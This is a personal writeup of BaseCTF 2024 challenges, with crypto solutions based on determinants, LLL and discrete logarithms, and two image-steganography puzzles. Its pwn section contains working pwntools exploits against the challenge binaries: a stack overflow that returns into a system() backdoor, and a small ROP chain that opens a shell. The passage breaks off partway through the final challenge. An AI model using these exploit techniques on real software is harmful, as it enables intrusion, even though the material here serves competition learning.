[BaseCTF2024]sudopacman个人Writeup(包含部分Crypto, MISC与Pwn)

15 分钟阅读时长

发布时间:

Week1(Crypto)

ez_math

该题主要考察对代数中行列式的掌握.

题目

task

import numpy as np
from Crypto.Util.number import *

a, b, c, d = [getPrime(128) for _ in range(4)]
point1 = a * d
point2 = b * c
matrix2 = [[0, a, b], [0, c, d]]

flag = b"vyctf{test_flag}"
flag = bytes_to_long(flag)


def randomArray():
    upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
    low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
    for i in range(3):
        for j in range(i+1, 3):
            upper[i][j] = getPrime(128)
            low[j][i] = getPrime(128)
    result = np.array(upper) @ np.array(low)
    return result

A = np.array([[flag, 0, 0]] + matrix2)
B = randomArray()
MAT = A @ B

print(point1)
print(point2)
print(MAT)
'''
81311989977387451668874941430338257071014446363574678418784365496344582666849
33057017600009729208384496757075537085301614200117584995338336257846046305771
[[27946539127558634550260328842774768382284228855493793321977765592483052720891089914327074421994212991548713007103916346235907210700468874119
  12746215308222919663581249923954804223696039526060889660432132715658881068248395657778457378460433022923383943453512377081482379817812509158
  38950026103717954346582831819694411312667649197656828555477064282014137949941775913023870290529406517]
 [15704422103650016650429304950255206186334814115692743710199465440122888440574451079743335027448732409013393593827085
  21917323070132694922086886658852071097488099875542617384997994075892695260734651679923576537198873049431041157400883
  66975198916854677961309171374284660865377281114011862647946805687039892721262]
 [9298167017438631472676758380254209408658263280953282683670864101771109464884120301525964984820849011313871503174357
  12976659003191821238978464224740222181158574655214270138537349794385602562218218519987157679149406447951468669396555
  39654218502593047619465990745717713063319452352531140443027446816425464289936]]
'''

分析

我们已知存在一个矩阵A:

\[A=\begin{bmatrix} flag & 0 & 0 \\ 0 & a & b \\ 0 & c & d \end{bmatrix}\]

其中 $a, b, c, d$ 为随机数, 我们明显可以将其看作一个分块矩阵:

\[A=\begin{bmatrix} flag & 0 \\ 0 & A_{abcd} \end{bmatrix}, \\ A_{abcd}=\begin{bmatrix} a & b \\ c & d \end{bmatrix}\]

即对A求行列式有:

\[|A|=|flag|*|A_{abcd}|\]

对于二阶矩阵我们可以计算:

\[|A_{abcd}|=a*d-b*c\]

其中已给出point1, point2, 我们可以计算出矩阵$B$的行列式, 即只需要知道矩阵的行列式即可求出flag, 对于矩阵B有:

\[B = B_{upper} * B_{low}\]

其中 B_{upper} 为主对角线为1的上三角矩阵, B_{low} 为主对角线为1的下三角矩阵, 稍微了解高等代数可以得知: \(|B|=1\)

又有:

\[MAT = A * B\]

故有:

\[|MAT| = |A|\]

我们可以通过以下方式计算flag:

\[flag = |flag| = \frac{|MAT|}{|A_{abcd}|}\]

EXP

point1 = 81311989977387451668874941430338257071014446363574678418784365496344582666849
point2 = 33057017600009729208384496757075537085301614200117584995338336257846046305771
MAT = [
        [27946539127558634550260328842774768382284228855493793321977765592483052720891089914327074421994212991548713007103916346235907210700468874119,
         12746215308222919663581249923954804223696039526060889660432132715658881068248395657778457378460433022923383943453512377081482379817812509158,
         38950026103717954346582831819694411312667649197656828555477064282014137949941775913023870290529406517],
        [15704422103650016650429304950255206186334814115692743710199465440122888440574451079743335027448732409013393593827085,
         21917323070132694922086886658852071097488099875542617384997994075892695260734651679923576537198873049431041157400883,
         66975198916854677961309171374284660865377281114011862647946805687039892721262],
        [9298167017438631472676758380254209408658263280953282683670864101771109464884120301525964984820849011313871503174357,
         12976659003191821238978464224740222181158574655214270138537349794385602562218218519987157679149406447951468669396555,
         39654218502593047619465990745717713063319452352531140443027446816425464289936
         ]
    ]
from sage.all import *
from Crypto.Util.number import *
print(long_to_bytes(det(matrix(MAT)) // (point1 - point2)))
# b"vyctf{You_know_algebra!!!}

mid_math

题目

task

import numpy as np
from Crypto.Util.number import *

a, b, c, d = [getPrime(128) for _ in range(4)]
point1 = a * d
point2 = b * c
matrix2 = [[0, a, b], [0, c, d]]

flag = b"flag{test_flag}"
flag = bytes_to_long(flag)

def randomArray():
    upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
    low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
    for i in range(3):
        for j in range(i+1, 3):
            upper[i][j] = getPrime(128)
            low[j][i] = getPrime(128)

    result = np.array(upper) @ np.array(low)
    return result

A = np.array([[flag, 0, 0]] + matrix2)
B = randomArray()
C = randomArray()
MAT =  C @ A @ B


print(point1)
print(point2)
print(MAT)

'''
65540596822333029826884315503808996273733737079814345540607878287618419734231
45151244176940366132774311848077675849486332018843894072137609985463616792271
[[9259505595451159514948336330303511539525155092949382077995385373332083424570340733825203563332256599256361679775371565817159463557158551820090084800254999338417057682355404780422980119717238594927467956675771042145306399815569005775907169857728757334979422594358
  3700462282298785820527479428312072678870010244861115107206951164684911761755437333209293039456840068340334559453608012512177623936248784897843503284633804083281388001236742261832974291349480314135560368365574114042082002559069958228523318326290833422846224288247
  20791012146351643571145217310876690226642338279942557085580439219377325884045305279931904540467264182713135410067252835618936836675270813727053937054168296298149405902638242278868020381541490973458957704137657413376043351193]
 [3802535350808074374431476757195874789213113083310705049856269457737583463559458126494122484246497049005001474007088865512110432486291568737501434666990689483191924384489484665070592656641925905986397402822195880143437724155134584374613878027218950975919679551229
  1519642544380087919293814751485424198320747098741960781639133554268321708273309194651985562222274023623071346914239982055028526526058064787882720065775210796950963778381575914964024929110539407721461321785325399699126116201001806816030960662346173275101476487421
  8538097185709421082644083672229287227818939415260987123718318427750267353075860559170390896769087600458156859498331152566368881938040799840806164389020986990994328370205184734637870147251004626759120887684269603636183629300]
 [17987668490992083132878642797176089621188858356259455169173987325310681186627844776077058221612169421636403546746899152917309634315569997105261046388995579843528014810244648968375990949478033964619008761814039733347955609163
  7188579142941521685422767412932555782658469950638690886255638896617687421517941457682493542615460990114218059246938237257830976937359020731335958068934235967457123039874441635435388736524907036941379695243043923900290273902
  40388963560266769813551191613694768219344365780650048155838802242681775019274045964917142477325170274191702615504062392461666558731638338001971723737440974198823443420018559746335727687]]
'''

分析

与ez_math相同, 只不过再加了以组C矩阵进行混淆, 无法再使用gcd或直接分解质数求解.

EXP

point1 = 65540596822333029826884315503808996273733737079814345540607878287618419734231
point2 = 45151244176940366132774311848077675849486332018843894072137609985463616792271

MAT = [[9259505595451159514948336330303511539525155092949382077995385373332083424570340733825203563332256599256361679775371565817159463557158551820090084800254999338417057682355404780422980119717238594927467956675771042145306399815569005775907169857728757334979422594358,
  3700462282298785820527479428312072678870010244861115107206951164684911761755437333209293039456840068340334559453608012512177623936248784897843503284633804083281388001236742261832974291349480314135560368365574114042082002559069958228523318326290833422846224288247,
  20791012146351643571145217310876690226642338279942557085580439219377325884045305279931904540467264182713135410067252835618936836675270813727053937054168296298149405902638242278868020381541490973458957704137657413376043351193],
 [3802535350808074374431476757195874789213113083310705049856269457737583463559458126494122484246497049005001474007088865512110432486291568737501434666990689483191924384489484665070592656641925905986397402822195880143437724155134584374613878027218950975919679551229,
  1519642544380087919293814751485424198320747098741960781639133554268321708273309194651985562222274023623071346914239982055028526526058064787882720065775210796950963778381575914964024929110539407721461321785325399699126116201001806816030960662346173275101476487421,
  8538097185709421082644083672229287227818939415260987123718318427750267353075860559170390896769087600458156859498331152566368881938040799840806164389020986990994328370205184734637870147251004626759120887684269603636183629300],
 [17987668490992083132878642797176089621188858356259455169173987325310681186627844776077058221612169421636403546746899152917309634315569997105261046388995579843528014810244648968375990949478033964619008761814039733347955609163,
  7188579142941521685422767412932555782658469950638690886255638896617687421517941457682493542615460990114218059246938237257830976937359020731335958068934235967457123039874441635435388736524907036941379695243043923900290273902,
  40388963560266769813551191613694768219344365780650048155838802242681775019274045964917142477325170274191702615504062392461666558731638338001971723737440974198823443420018559746335727687]]
from sage.all import *
from Crypto.Util.number import *
print(long_to_bytes(det(matrix(MAT)) // (point1 - point2)))

# b'BaseCTF{E439646E-1768-18B3-DC4B-483C40C5340C}'

Week1(Pwn)

签个到吧

分析

题目主要考察新生对pwn题连接的应用, 这里我们推荐使用VY-netcat, 同样直接下载Gnu-netcatopenbsd-netcat使用方法相同.

打开容器创建实例, 例如challenge.basectf.fun:29866.

netcat的地址如下:

  • gitee: https://gitee.com/cryingn/vy-netcat
  • github: https://github.com/cryingn/vy-netcat

找到发行版/Releases, 直接下载最新版本, 当前已支持linux与windows, 当然也可以考虑自行下载源码进行编译.

使用方式, 在下载位置输入:

./nc challenge.basectf.fun 29866

连接成功后, 输入以下代码拿到flag.

cat flag

echo

题目描述

binsh目录下只有echo? echo flag??

分析

使用方式同上, 本题在docker环境设置时去掉了其他指令, 只留下了bin/echo, bin/sh.

故可以考虑使用echo直接拿到flag:

echo *          # 查看文件
echo "$(<flag)" # 查看flag文件内容

拿到flag.

Ret2text

本题是简单的栈溢出类题目, 主要考察pwntools与反编译的理解.

反编译与分析

本题使用的反编译工具为retdec, 是一款终端下的反编译工具, 当前avast已停止维护, 有VYCMa继续接手维护.

在终端反编译task文件:

[root_cn@archlinux pwn]$ retdec task
...(反编译日志)
[root_cn@archlinux pwn]$ cat task.c | head -n 17 | tail -n +12
int main(int argc, char ** argv) {
    // 0x401176
    int64_t buf; // bp-40, 0x401176
    read(0, &buf, 256);
    return 0;
}

从task.c可以发现buf到溢出位置为40, read()函数的读取数却有256, 明显的栈溢出.

[root_cn@archlinux pwn]$ cat task.dsm | head -n 143 | tail -n +137
0x4011bb:   48 8d 05 58 0e 00 00        lea rax, [rip + 0xe58]
0x4011c2:   48 89 c7                    mov rdi, rax
0x4011c5:   b8 00 00 00 00              mov eax, 0
0x4011ca:   e8 a1 fe ff ff              call 0x401070 <system>
0x4011cf:   90                          nop
0x4011d0:   5d                          pop rbp
0x4011d1:   c3                          ret

找到很明显的后门, 故只需要溢出后让地址指向后门地址, 可以拿到flag, 开始构造EXP.

EXP

from pwn import *

true_log = "\033[32m[True]\033[0m "
false_log = "\033[31m[False]\033[0m "
warn_log = "\033[33m[Warn]\033[0m "
choose_log = "\033[34m[Choose]\033[0m "
choose_true = {'yes','y','Y'}

the_io:str

def io(bin_file, url_port=""):
    global the_io, the_elf
    if url_port == "":
        if ".py" in bin_file:
            import subprocess
            args = [1,2]
            the_io = python_connect()
            subprocess.call(['python', bin_file] + args)
        else:
            the_io = process(bin_file)
            the_elf = ELF(bin_file)
    else:
        url, port = url_port.split(":")
        the_io = remote(url, port)
        try:
            the_elf = ELF(bin_file)
        except:
            print(warn_log + "无法获取ELF.")
    return the_io

pwn     = lambda                    : gdb.attach(the_io)
r       = lambda                    : the_io.recv()
rl      = lambda                    : the_io.recvline()
ru      = lambda load               : the_io.recvuntil(load)
ra      = lambda                    : the_io.recvall()
s       = lambda data               : the_io.send(data+b"\n")
sa      = lambda load, data         : the_io.sendafter(load, data+b"\n")
shell   = lambda                    : the_io.interactive()

plt     = lambda function           : the_elf.plt[function]

log     = lambda level, os="linux", arch="amd64": context(os='linux',arch='amd64', log_level="critical") if level else context(os='linux',arch='amd64', log_level="debug")

io("./task", "challenge.basectf.fun:49666")
log(True)
payload = b'a' * 40 + p64(0x4011bb)
s(payload)
shell()

我把她丢了

反编译与分析

[root_cn@archlinux pwn]$ cat task.c | head -n 44 | tail -n +39
int64_t vuln(void) {
    // 0x401217
    puts("I lost her, what should I do? Help me find her.");
    int64_t buf; // bp-120, 0x401217
    return read(0, &buf, 336);
}

同样在120位溢出, 但是可写入336位, 可以尽情制造.

[root_cn@archlinux pwn]$ cat task.dsm | head -n 159 | tail -n +150
; function: shell at 0x4011fd -- 0x401217
0x4011fd:   f3 0f 1e fa                 endbr64
0x401201:   55                          push rbp
0x401202:   48 89 e5                    mov rbp, rsp
0x401205:   48 8d 05 04 0e 00 00        lea rax, [rip + 0xe04]
0x40120c:   48 89 c7                    mov rdi, rax
0x40120f:   e8 6c fe ff ff              call 0x401080 <system>
0x401214:   90                          nop
0x401215:   5d                          pop rbp
0x401216:   c3                          ret

虽然有system, 但是找不到/bin/sh, 拿到shell需要几个条件:

rdi指向 /bin/sh

rsi = 0

rdi = 0

rax = 0x3b

syscall

我们可以人工去进行构造, 找到几个关键部分: .text的/bin/sh, 删除rdi的指令, 构造以下payload:

pop_rdi = p64(0x401196) #函数位置
binsh = p64(0x402008)   #.text 上的'/bin/sh'位置
sh = p64(0x401084)      #指向到<system>本身.

payload = b"a" * 120 + pop_rdi + binsh + sh

然后翻车了, 根本拿不到shell, 以下是原理(我是穷举出来的):

我们先用pop rdi ret把bin/sh字符串地址放在rdi然后在调用system函数即可.

缺个返还, 这下可以构造正确的EXP了.

EXP

from pwn import *

true_log = "\033[32m[True]\033[0m "
false_log = "\033[31m[False]\033[0m "
warn_log = "\033[33m[Warn]\033[0m "
choose_log = "\033[34m[Choose]\033[0m "
choose_true = {'yes','y','Y'}

the_io:str
context(os='linux',arch='amd64', log_level="debug")

def io(bin_file, url_port=""):
    global the_io, the_elf
    if url_port == "":
        if ".py" in bin_file:
            import subprocess
            args = [1,2]
            the_io = python_connect()
            subprocess.call(['python', bin_file] + args)
        else:
            the_io = process(bin_file)
            the_elf = ELF(bin_file)
    else:
        url, port = url_port.split(":")
        the_io = remote(url, port)
        try:
            the_elf = ELF(bin_file)
        except:
            print(warn_log + "无法获取ELF.")
    return the_io

pwn     = lambda                    : gdb.attach(the_io)
r       = lambda                    : the_io.recv()
rl      = lambda                    : the_io.recvline()
ru      = lambda load               : the_io.recvuntil(load)
ra      = lambda                    : the_io.recvall()
s       = lambda data               : the_io.send(data+b"\n")
sa      = lambda load, data         : the_io.sendafter(load, data+b"\n")
shell   = lambda                    : the_io.interactive()

plt     = lambda function           : the_elf.plt[function]

log     = lambda level, os="linux", arch="amd64": context(os='linux',arch='amd64', log_level="critical") if level else context(os='linux',arch='amd64', log_level="debug")

io("task", "challenge.basectf.fun:49666")

log(True)
#pwn()

pop_rdi = p64(0x401196) #函数位置
binsh = p64(0x402008)   #.text 上的'/bin/sh'位置
ret = p64(0x401197)     # ret指令, 和哪个函数无关
sh = p64(0x401084)      #指向到<system>本身.

payload = b"a" * 120 + pop_rdi + binsh + ret + sh

sa(b"I lost her, what should I do? Help me find her.", payload)

shell()

Week2(Crypto)

mid_math2

题目

import numpy as np
from Crypto.Util.number import *

a, b, c = [getPrime(128) for _ in range(3)]
d, e, f, h, i, j = [getPrime(1024) for _ in range(6)]
A = [[a, b, c], [d, e, f], [h, i, j]]

flag = b"flag{test_flag}"
flag = bytes_to_long(flag)

def prod(myList):
    result = 1
    for i in myList:
        result = result * i
    return result

def randomArray():
    upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
    low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
    for i in range(3):
        for j in range(i+1, 3):
            upper[i][j] = getPrime(128)
            low[j][i] = getPrime(128)
    result = np.array(upper) @ np.array(low)
    return result

e = getPrime(18)
N = getPrime(1024)
C = randomArray()
#MAT = C @ A @ B
MAT = C @ A
c = pow(flag, e, prod(A[0]))

print(MAT)
print(f'c = {c}')
print(f'e = {e}')

'''
[[9194428734244577957135736828947112370812209206819996917633266069359894211949655026549592464237531352518967649750275097282532736237822915630766535634248987628113137246739472264614337707439494149796414126558156060870508338278038269649101921703583149322486905552569052814106532234864028314925118581658029792157851338427975728108000711353532410024128431635933014226306706319591106081211872
  7052600738698435126221697697810087514520765619736355003187836563546493264420232197860875416948961661231812045406188307561458872254314061097960625042149316957446344556490001927621879295417925720004568332344856366002394724202261454916368122811414228043610804718983599804179657247820737462743875143882925818085495573474169110616761320858675303922740882169073395416895304752909979711051264
  13094262565727554986668133240216117564284263232131011542877585146452802164148464500319291219458081531317231044962383872061004846788004747813785963603455919882739054992075130196548494850105124430477756818974520035883861936342117869122455996838023977818945511119955390136020375974150407580576040034808588694313922810340598787633148909527275716235390356737099830131958338026891256778602432]
 [7291452286171544741377496447735677778433522048452394999757158120018504601116506253897733192493798837108269469756414516913436198353934250444263790689101779479157541198872731006007031448329354826004420971505929629537584453480285628607579031078497417101681028600589030661495031531644755072500393418929237208836713910921969937998825721580514845395852889662758886414966066733340052235985735
  5592919719754926663830816961667268104316637431189640788304536404157195458040686322901848820171568258023938724485177544141303597034389473064509506247034833050568643394732003598890104462382321956436508366359718039669456303596542945687737870352569084995858128262046585579724537002100295978230177579835256681774512205534970583421138287684468047290246482431883957170924203400422234299829407
  10384135162743100269852365857770153822630076412853981379757028821332622753962517667857057209221058533163475030678127399042436975886694593504673386134198042731671320468065688239424934644173240507619471360908786669070898288638067852779718549009532013299792474712979659423962779677856135791013599792822988457540442172903145046394648862567656330868441373023488569784114231877910285319620037]
 [34946383530632295853235791100380055176686898072752599942691162027311662041417740482507624946631032260410440329949488242706004902881977357811370156793240362927747354453547446315050117795844866771053429455608334265986953931753411938119703800489233043034369650346216548318254326462336573090313788936967898128977445514764945671848611612198443909056919
  26805677375585831510259621878357023272222175103906204143689109861471123435549853025410319713500257027420994041712736040084303902812241806295302385126726161281240831030434347236854521776375408982352155894199700974681768432734155312616453345950508256035721377179651166114898547487082749355033867559583905997404388549346221139007108462958001461826337
  49768956277664050500387501949373949828589012443212214016088015478826178759698946452495063308332332373728223252613132611904477061717762261927498754849913008747980442098787524359755695519989286304445175440218168145037681791003471134417445542856715034633656861298596197935068562189476201463465706711744838395255326376049859058504891392128431832044455]]
c = 11781599055433308033432930805524658061560499523533841161297213162869735414528038973998414585008473948613388691447093
e = 160907
'''

解析

这是什么? 格一下, 其实这次的出题思路和mid_math还是基本一致的, 不过数学概念不太一样, 顺便塞了rsa加密防暴力计算.

EXP

from sage.all import *
from Crypto.Util.number import *

MAT = [[9194428734244577957135736828947112370812209206819996917633266069359894211949655026549592464237531352518967649750275097282532736237822915630766535634248987628113137246739472264614337707439494149796414126558156060870508338278038269649101921703583149322486905552569052814106532234864028314925118581658029792157851338427975728108000711353532410024128431635933014226306706319591106081211872,
  7052600738698435126221697697810087514520765619736355003187836563546493264420232197860875416948961661231812045406188307561458872254314061097960625042149316957446344556490001927621879295417925720004568332344856366002394724202261454916368122811414228043610804718983599804179657247820737462743875143882925818085495573474169110616761320858675303922740882169073395416895304752909979711051264,
  13094262565727554986668133240216117564284263232131011542877585146452802164148464500319291219458081531317231044962383872061004846788004747813785963603455919882739054992075130196548494850105124430477756818974520035883861936342117869122455996838023977818945511119955390136020375974150407580576040034808588694313922810340598787633148909527275716235390356737099830131958338026891256778602432],
 [7291452286171544741377496447735677778433522048452394999757158120018504601116506253897733192493798837108269469756414516913436198353934250444263790689101779479157541198872731006007031448329354826004420971505929629537584453480285628607579031078497417101681028600589030661495031531644755072500393418929237208836713910921969937998825721580514845395852889662758886414966066733340052235985735,
  5592919719754926663830816961667268104316637431189640788304536404157195458040686322901848820171568258023938724485177544141303597034389473064509506247034833050568643394732003598890104462382321956436508366359718039669456303596542945687737870352569084995858128262046585579724537002100295978230177579835256681774512205534970583421138287684468047290246482431883957170924203400422234299829407,
  10384135162743100269852365857770153822630076412853981379757028821332622753962517667857057209221058533163475030678127399042436975886694593504673386134198042731671320468065688239424934644173240507619471360908786669070898288638067852779718549009532013299792474712979659423962779677856135791013599792822988457540442172903145046394648862567656330868441373023488569784114231877910285319620037],
 [34946383530632295853235791100380055176686898072752599942691162027311662041417740482507624946631032260410440329949488242706004902881977357811370156793240362927747354453547446315050117795844866771053429455608334265986953931753411938119703800489233043034369650346216548318254326462336573090313788936967898128977445514764945671848611612198443909056919,
  26805677375585831510259621878357023272222175103906204143689109861471123435549853025410319713500257027420994041712736040084303902812241806295302385126726161281240831030434347236854521776375408982352155894199700974681768432734155312616453345950508256035721377179651166114898547487082749355033867559583905997404388549346221139007108462958001461826337,
  49768956277664050500387501949373949828589012443212214016088015478826178759698946452495063308332332373728223252613132611904477061717762261927498754849913008747980442098787524359755695519989286304445175440218168145037681791003471134417445542856715034633656861298596197935068562189476201463465706711744838395255326376049859058504891392128431832044455]]

c = 11781599055433308033432930805524658061560499523533841161297213162869735414528038973998414585008473948613388691447093
e = 160907

def prod2(myList):
    result = 1
    for i in myList:
        result = result * (abs(i) - 1)
    return result

def prod(myList):
    result = 1
    for i in myList:
        result = result * abs(i)
    return result

MAT = matrix(MAT)
n = prod(MAT.LLL()[0])
phin = prod2(MAT.LLL()[0])
d = pow(e, -1, phin)
flag = long_to_bytes(pow(c, d, n))
print(flag)

# b'BaseCTF{8E2BD73F-9C10-F813-2CA4-B4B2DED4E961}'

Week2(MISC)

黑丝上的flag

题目

解析

原理是降低flag部分的透明度, 因为取原图的黑色部分, 以黑底显示时基本不影响图片, 以白底显示时flag部分变亮, 所以进行了部分加深.

不推荐直接肉眼读取flag, 标准方法是编程遍历像素的a, 重新用黑白写在新的图片上.

之前验题的时候证明也可以stegsolve秒, 不过最好还是学习一下自己处理, 从一个密码手角度上说, 什么都只知道找工具秒只会害了你(x), 不信的话下周整个你们秒不掉的.

EXP

from PIL import Image
import sys

def gen(flag):
    img = Image.new('RGBA', (flag.width,flag.height))
    for w in range(img.width):
        for h in range(img.height):
            pixelA = flag.getpixel((w,h))
            if pixelA[3] != 255:
                img.putpixel((w, h), (255,255,255,255))
    return img

if __name__ == '__main__':
    flag = Image.open("flag.png")
    img = gen(flag)
    img.save("EXP.png")

# 拿到图片:BaseCTF{Bl4ck_5ilk_1s_the_best}

Week3(crypto)

ez_log

题目

from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b, getPrime
from Crypto.Cipher import AES
from random import randint


flag = b"flag{test_flag}"

pad = lambda x: x+b'\x00'*(16-len(x)%16)

def encrypt(KEY):
    cipher= AES.new(KEY,AES.MODE_ECB)
    encrypted =cipher.encrypt(flag)
    return encrypted
def decrypt(KEY):
    cipher= AES.new(KEY,AES.MODE_ECB)
    decrypted =cipher.decrypt(enc)
    return decrypted

flag = pad(flag)
x = randint(10 ** 7, 10 ** 8)
y = randint(10 ** 7, 10 ** 8)
n = getPrime(28)
z = pow(y, x, n)

enc = encrypt(pad(l2b(x)))
print(f'enc = {b2l(enc)}')
print(f'y = {y}')
print(f'n = {n}')
print(f'z = {z}')

'''
enc = 33416570913716503492297352041317858420349510954381249751537743898024527101872454706181188441210166165803904185550746
y = 82941012
n = 228338567
z = 51306718
'''

解析

这大概是最轻松的一次题目, 我希望能为后面做铺垫, 大家能循序渐进地过渡到DLP密码体系. 离散对数是密码学中比较重要的概念, 常用于ECC中代替除法, 本题返璞归真用于理解求离散对数.

由题目可知

\[z \equiv y^x \mod{n}\]

现给出y, b, z, 欲求x, 在实数域中我们可以取对数进行计算:

\[x = \log_{y}{z}\]

但是现在在模环中, 感兴趣可以尝试用可视化工具生成x, 发现点离散分布在环上, 我们将这种情况下的求解称为离散对数求解, 不想写了, 感兴趣可以看sagemath源码, 总之有exp如下:

EXP

from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b

pad = lambda x: x+b'\x00'*(16-len(x)%16)

def decrypt(KEY):
    cipher= AES.new(KEY,AES.MODE_ECB)
    decrypted =cipher.decrypt(enc)
    return decrypted

enc = 33416570913716503492297352041317858420349510954381249751537743898024527101872454706181188441210166165803904185550746
y = 82941012
n = 228338567
z = 51306718

enc = l2b(enc)
G = GF(n)
z = G(z)
y = G(y)
x = discrete_log(z, y)


print(decrypt(pad(l2b(x))))

# BaseCTF{BF3DCONZ-67FE-ENZU-385S-CSNI13B2}

Week3(MISC)

白丝上的flag

题目

某出题人赠送大家flag时遭遇了信号干扰, 幸好我们在不知名小网站找到了写入flag前的图片, 尝试还原信息吧!

hint: flag是单色

解析

题目很简单, 问题就在题面上, 很多做法都可以完成, 本次图片加密借鉴了非feistel网络, 尽可能防止了工具直接秒, 有一说一2595x2294的图片真的很难丢失信息, 以至于上了加法, 先说说暴力解法:

已知flag为单色, 所以直接找到不同的颜色就行:

from PIL import Image
from random import randint
import sys

def ez_add(a,b,c,d):
    global iv
    h = (a+b+c+d+iv) % 256
    e = b
    f = c
    g = d
    iv = (b+c+d+iv) % 256
    return e,f,g,h

def confuse(data):
    r,g,b,a = data
    for _ in range(8):
        r,g,b,a = ez_add(r,g,b,a)
    return r,g,b,a

def confuse_image(flag, data):
    global iv
    iv = flag.getpixel((1,1))[0]
    for w in range(flag.width):
        for h in range(flag.height):
            pixel = confuse(flag.getpixel((w,h)))
            if pixel == data.getpixel((w,h)):
                old_pix = flag.getpixel((w-1,h))
                old_iv = iv
            else:
                print(f'初始值: {data.getpixel((w,h))}')
                print(f'iv = {old_iv}')
                exit()

# 填入数值后执行第二部分
def confuse_image2(flag, data):
    global iv
    iv = flag.getpixel((1,1))[0]
    img = Image.new('RGBA', (flag.width, flag.height))
    for w in range(img.width):
        for h in range(img.height):
            pixel = confuse(flag.getpixel((w,h)))
            if pixel == data.getpixel((w,h)):
                old_pix = flag.getpixel((w-1,h))
                old_iv = iv
            else:
                iv = old_iv
                pixel = confuse((114,114,114,255))
                img.putpixel((w,h), (114,114,114,255))
                old_iv = iv
    return img


if __name__ == '__main__':
    iv = 0
    flag = Image.open("./image.png")
    data = Image.open("./en_image.png")
    # 第一部分
    confuse_image(flag, data)
    # 第二部分
    img = confuse_image2(flag, data)
    img.save("./exp.png")

中间获取的代码使用vlang可以快速计算出来(没错, 我又来推销vlang了):

module main

fn main() {
        println('获取flag数值ing...')
        mut data := [0,0,0,255]
        iv := 224
        for a in 0..256 {
                for b in 0..256 {
                        for c in 0..256 {
                                data = [a, b, c, 255]
                                data = ez_add(mut data, iv)
                                if data == [221, 187, 211, 197] {
                                        print('flag_color = [${a},${b},${c},255]')
                                        exit(1)
                                }
                        }
                }
        }
        println('没有?')
}

fn ez_add(mut data []int,iv int) []int {
        mut new_iv := iv
        for _ in 0..8 {
                d := (data[0]+data[1]+data[2]+data[3]+new_iv) % 256
                a := data[1]
                b := data[2]
                c := data[3]
                new_iv = (data[1]+data[2]+data[3]+new_iv) % 256
                data = [a,b,c,d]
        }
        return data
}
/*
获取flag数值ing...
flag_color = [114,114,114,255]
real    0m7.423s
user    0m7.359s
sys     0m0.031s
*/

没错, flag是可以直接还原的, 只需要一点小小的编程能力即可. 另外也可以用xor暴力求解, 不过成图让我也很疑惑, 所以不作为标准解答:

from PIL import Image
from random import randint
import sys

def ez_add(a,b,c,d):
    global iv
    h = (a+b+c+d+iv) % 256
    e = b
    f = c
    g = d
    iv = (b+c+d+iv) % 256
    return e,f,g,h

def confuse(data):
    r,g,b,a = data
    for _ in range(8):
        r,g,b,a = ez_add(r,g,b,a)
    return r,g,b,a

def confuse_image(flag, data):
    global iv
    iv = flag.getpixel((1,1))[0]
    img = Image.new('RGBA', (flag.width, flag.height))
    for w in range(img.width):
        for h in range(img.height):
            a,b,c,d = confuse(flag.getpixel((w,h)))
            _a,_b,_c,_d = data.getpixel((w,h))
            img.putpixel((w,h), (a^_a, b^_b, c^_c, d^_d))
    return img


if __name__ == '__main__':
    iv = 0
    flag = Image.open("./image.png")
    data = Image.open("./en_image.png")
    img = confuse_image(flag, data)
    img.save("./xor.png")

Week4(crypto)

hard_math

相比前面几题, hard_math可以算是一道相对来说比较正式的题目了, 其实一路下来做过ez_math, mid_mathmid_math2的话可以发现我给的题目应该都是循序渐进的, 只要顺着知识点进行学习, 再了解一点新的东西就可以解出来.

当然过程中也有师傅用了各种奇妙的解法, 不过不进行过多介绍, 这里算是对大家学习的这段时间以来进行一个总的回答.

题目

import numpy as np
from sage.all import *
from Crypto.Util.number import *
from re import sub

a, b, c = [getPrime(128) for _ in range(3)]
d, e, f, h, i, j = [getPrime(512) for _ in range(6)]
k, l, m = [getPrime(16) for _ in range(3)]

flag = b"flag{test_flag}"
n = len(flag) // 3
flag1 = bytes_to_long(flag[0:n])
flag2 = bytes_to_long(flag[n:2 * n])
flag3 = bytes_to_long(flag[2 * n:3 * n])
mat_flag = matrix([flag1, flag2, flag3])

def randomArray():
    upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
    low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
    for i in range(3):
        for j in range(i+1, 3):
            upper[i][j] = getPrime(512)
            low[j][i] = getPrime(512)
    result = np.array(upper) @ np.array(low)
    return result

def m2l(data):
    data = str(list(data)).replace(')',']').replace('(','[')
    return data

def red(data):
    new = sub(' +', ' ',str(data)).replace('[','').replace(']','').split(' ')
    a,b,c = new[-3:]
    a,b,c = count(a), count(b), count(c)
    return matrix([a,b,c])

def count(data):
    if '/' in data:
        a,b = data.split('/')
        a,b = int(a), int(b)
        if (a%b) >= (b//2):
            new = (a // b) + 1
        else:
            new = a // b
    else:
        new = int(data)
    return new

U = matrix(randomArray())

V = matrix(
    [
        [a, b, c],
        [d, e, f],
        [h, i, j]
        ]
    )

hint = matrix(
    [
        [a, 0, 0],
        [d, e, 0],
        [h, i, j]
        ]
    )

W = U * V
r = matrix([k, l, m])

m = mat_flag * W + r

assert red(m * (V**(-1))) * (U**(-1)) == mat_flag

print(f'm = {m2l(m)}')
print(f'W = {m2l(W)}')
print(f'hint = {m2l(hint)}')

'''
m = [[515006066572991495094024845507453270170679530115722665716310857090383589987192995300820709326539907598036228187098433712764150545713781753928519780987397892019149396848734270629944247423448792576409939690690172467014798009304748201014701433638914639516136791514943818115581841161140822534657373450411916010383872732592192428514885246957165021151091735415512934159556555795946329029885077848428522565951230170422871166025743271004222458910631903580841388720000991656351499297814283656311006619217557, 493376106730590001882623910015696056521634040769204676097683956342407441946394989269289586462834183861958955979569597323143336033364245602994690452975858606246399021815786952339420761036368842534214572793543597526440971054273983326810410557306121368806745656400301215422355097611632518232563203326662080440857128552584680151063471311246027207795633032412326671372295196912352244705460776745840724990330443310670290805805114851081572848158034185286087423873359219385001802862944316920564177120955175, 